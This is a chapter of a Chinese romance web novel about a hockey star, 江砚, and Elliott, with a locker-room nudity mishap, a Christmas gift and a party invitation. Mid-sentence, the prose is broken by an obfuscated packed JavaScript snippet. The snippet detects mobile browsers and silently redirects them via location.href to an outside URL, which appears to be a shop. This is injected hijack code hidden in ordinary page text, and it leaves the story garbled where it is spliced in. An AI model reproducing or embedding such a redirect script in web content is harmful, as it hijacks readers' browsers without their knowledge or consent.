艾利奥特仰头长叹,努力给自己鼓起劲儿来,走到洛根之前交代的衣柜里翻找出来一套干净的运动裤。 他将手里的那个内胆已经被泼了樱桃冰沙的书包放在脚边干燥的地板上。手里那本夹着邀请函的《红字》实在是没有别的地方可放了,这间更衣室怎么每个角落都湿哒哒的?! 左思右想之下,艾利奥特选择用嘴咬着这本书的书脊,开始艰难地尝试脱下被弄脏的长裤。 江砚伸手关掉淋浴头,摇了摇脑袋,把多余的水珠晃掉。这下应该全部洗干净,不会有任何味道了。 这条运动裤的裤腿真是该死的长……打冰球的男的又不全是六英尺以上的巨人,有必要准备这么长的运动裤吗? 艾利奥特内心吐槽着,嘴里咬着书脊,原地一蹦一跳地尝试套上那条巨长的裤腿。 浴室门忽然被推开。 艾利奥特内心猛地一惊,抬起头来 江砚带着还没擦干的水珠,浑身未着寸缕走出浴室,与裤子还没提到半拉屁股上的艾利奥特对上了目光。 整个更衣室死一般的寂静。 只能听到外面DJ还在没完没了地播放Pop!GoesMyHeart。 艾利奥特的眼睛从来没瞪得这么圆过,而此刻他的视线不受控制地顺着江砚的脸庞,逐渐下滑到胸肌、腹肌然后…… “卧槽!” 江砚像是终于找回来自己的声音一般,浑身就像被烫熟的龙虾似的变得通红,慌不择路地从旁边扯过一条干净浴巾围在腰间。 “啊啊啊啊啊……”艾利奥特腿脚被运动裤绊到直接摔倒,他发出惨叫,《红字》从他的嘴里掉落到他的怀里,一屁股坐在了湿哒哒的地板上。 “对不起对不起对不起……”他双手捂住脸,“我不是故意闯你们更衣室的……” 江砚双手颤抖着把浴巾在腰间系牢,四下打量一圈确定整间更衣室内只有他俩没有别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307918|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人后才稍稍安下心来,故作轻松地清清嗓子:“咳……你害怕什么啊,我们都是男人……” “话是这么说……”艾利奥特的视线透过分开的指缝投到了江砚的下半身。 江砚低下头,发现那里已经有了一个弧度。 “啊……这是因为尴尬才这样的啊,你是男的你也懂啊。”江砚用镇静的语气说道,努力把视线从艾利奥特还露在外面的半拉屁股侧面移开,“过会儿就好了。” 他说着,紧紧闭上眼睛,努力回忆米夏喝多了跪在马桶边呕吐的模样。很好,效果超群。很快就下去了。 艾利奥特双手紧紧捏着《红字》,看到江砚那少见的窘迫神情,几乎忘了自己也尴尬的要死,忍不住噗嗤笑出声。 ------------------------------------------------------ “你刚刚明明就是脸红了。” “我没有。” 江砚已经换好一身纯黑色冬装,叼着香烟,尽管依旧嘴硬,但还是乖乖低下头让艾利奥特给自己点上火。 艾利奥特收起火机,靠在这条只有员工能出入的小巷墙壁上,双眼柔和地看着江砚:“你能答应我个事儿吗?” 江砚看向他:“什么事?” 艾利奥特伸手帮江砚拨掉黑色高领毛衣上落下的烟灰:“这次季后赛你们要是能拿下斯坦利杯的话,就戒烟吧。”他小心翼翼地说道,“对你身体不好。” 江砚侧过身子正面对着艾利奥特,也靠在墙壁上:“我已经把打火机放在你那里了,在今天之前我可是一根烟都没抽,甚至10号那次我们客场对战西雅图深渊(Abyss)队输了我都没抽烟。要我这么乖乖听你话戒烟,那可是有条件的。” 艾利奥特有些开心地看着他:“什么条件?” 江砚看了艾利奥特半晌,忽然移开眼神:“你说好要送我的圣诞礼物呢?”他换了个话题。 “啊,在这里。”艾利奥特听他这么一问,瞬间心思被引开,也忘了问是什么条件了,低头拿起来那个已经脏兮兮的书包,“幸好我已经把它用塑料纸包起来了。你拆开看看。” 江砚伸手接过那个被包裹得严严实实的袋子,两三下就把它撕扯开。 “这是……” “这是我特意找人定制的手套内衬。”艾利奥特开心地从江砚手里拿起来那个黑色的手套内衬,“我知道你现在是Bauer的代言人,不能穿其他品牌的装备。但是这个定制的内衬你可以放在手套里面。它外层是高密度的抗菌银离子功能纤维,内层是我给你挑选的超细羊毛混纺面料。还有这个……” 他说着,亲自动手翻开了内衬最底下靠近腕部内侧、只有江砚戴上时能看到的位置:“……这里有你的名字刺绣。” 江砚的手指抚过那个针脚极密的“J.Y”。 “哇……”他小声说道,“……我……我不知道……我不知道我该怎么……” “别说不知道怎么回礼。”艾利奥特轻轻拍了拍江砚的手背,“你只需要认真打球就可以了。因为这同时也是为了你以后万一在场上打架做的准备,至少手不会疼得厉害。” “别说了,你这话才会让我开始脸红。”江砚开着玩笑,心脏却缩紧到开始发疼的地步。 他吸了吸鼻子,12月的丹佛真是冷的可怕,他的鼻尖已经变得红彤彤的。 “那么,你想看看我给你的圣诞礼物吗?”江砚说着,伸手去拿放在自己脚边的运动包。 “你可以过两天再给我。”艾利奥特出手拦住了他的动作。 “过两天?”江砚疑惑地看着他。 艾利奥特深呼吸,鼓起勇气从大衣内侧口袋里掏出那本破破烂烂的《红字》,把在他身边放了将近一个月的邀请函拿了出来。他指尖微颤,慢慢地向前递了过去。 “这是我妹妹在圣保罗的庄园里办的派对。”他的眼神中透露出深深的恳求,“来这里玩吧。就当是好好放松一下。” 江砚接过邀请函:“你妹妹……那个kisscam里的姑娘?” 艾利奥特没想到江砚还记得那个kisscam,脸上泛起一阵红晕:“嗯……她这个人很喜欢派对之类的,也很擅长举办这种聚会。所以我想,如果你圣诞节没有安排的话,也许到这边来会是不错的选择。”他轻轻摇晃身体,“然后,你原本打算送我的圣诞礼物可以在派对上给我。” 江砚翻看着手里精美的邀请函,厚重的高磅棉质纸搭配凹版印刷,四周还点缀着低调的烫金纹样。只需一看就知道这会是一个他即便身为明星球员平常都很少接触到的富豪派对。 艾利奥特默不作声,屏住呼吸等待江砚的反应。 “你也会在吗?”江砚没有看艾利奥特,翻开邀请函轻声问道,“这个圣诞派对?” “会的。”艾利奥特急忙回答道,“我和我妹妹是派对的主要负责人,你来的话我会亲自接待你。” “听起来很诱人。”江砚微笑着说道,把邀请函放进自己大衣的内侧口袋,“我会好好考虑的。” 好好考虑如何瞒过米夏并鸽掉他的圣诞邀请。 “真的?!那太好了!”艾利奥特差点忍不住上去亲他一口,当他回过神来时差点愣在原地,“那……那么……我们两天后见!” 他急匆匆地提起包,落荒而逃似的顺着小巷向外跑。 “你这就走?”江砚惊讶地看着他,“我们还没聊两句话。” 艾利奥特回过头来,脸颊滚烫:“啊,我订的航班,还有一个小时就要起飞了。”他在撒谎,其实是三个小时后,“我必须赶紧赶过去了。” 江砚看着他急切的模样,最终只能点点头,把还在冒着烟的香烟滤嘴丢在身边的灭烟台上:“那好吧,一路平安。” 艾利奥特看到他略微失落的神情,有些于心不忍:“我很期待两天后见到你送我的礼物。”他盯着江砚的双眼,一字一顿认真地说道。 江砚看着他,脸上勾起一个抚慰性的笑容:“我知道(Iknow)。”他沉声道。 艾利奥特感觉胸膛内那双翅膀拍打得更急促了。他转身飞快地顺着小巷向外跑去。 ------------------------------------------------------ 当艾利奥特回到圣保罗时,已经是凌晨两点半了。 他选择直接回到北岸摄政酒店的莫里兰德套房里过夜,不回家打扰还在睡梦中的妹妹还有父亲。 今天和江砚的一切互动都像细小的火苗一般烧灼着他的心,使他无法平静。他都无法想象两天后的圣诞派对该如何面对江砚了。 站在洗手台前刷牙的他忽然停下动作,他看着镜子里他拿着的电动牙刷,不受控制地回想起今晚在霜咬队更衣室里的那一幕。 应该有多长?好像是有这么长吧…… 他看着手里的牙刷,按着记忆用手指比划了比划,忽然一阵气血上涌。匆忙把手里的牙刷放下,草草洗漱完,把自己丢进了大床里,裹在羽绒被中。露在被子外面的耳朵红到几乎滴下血来。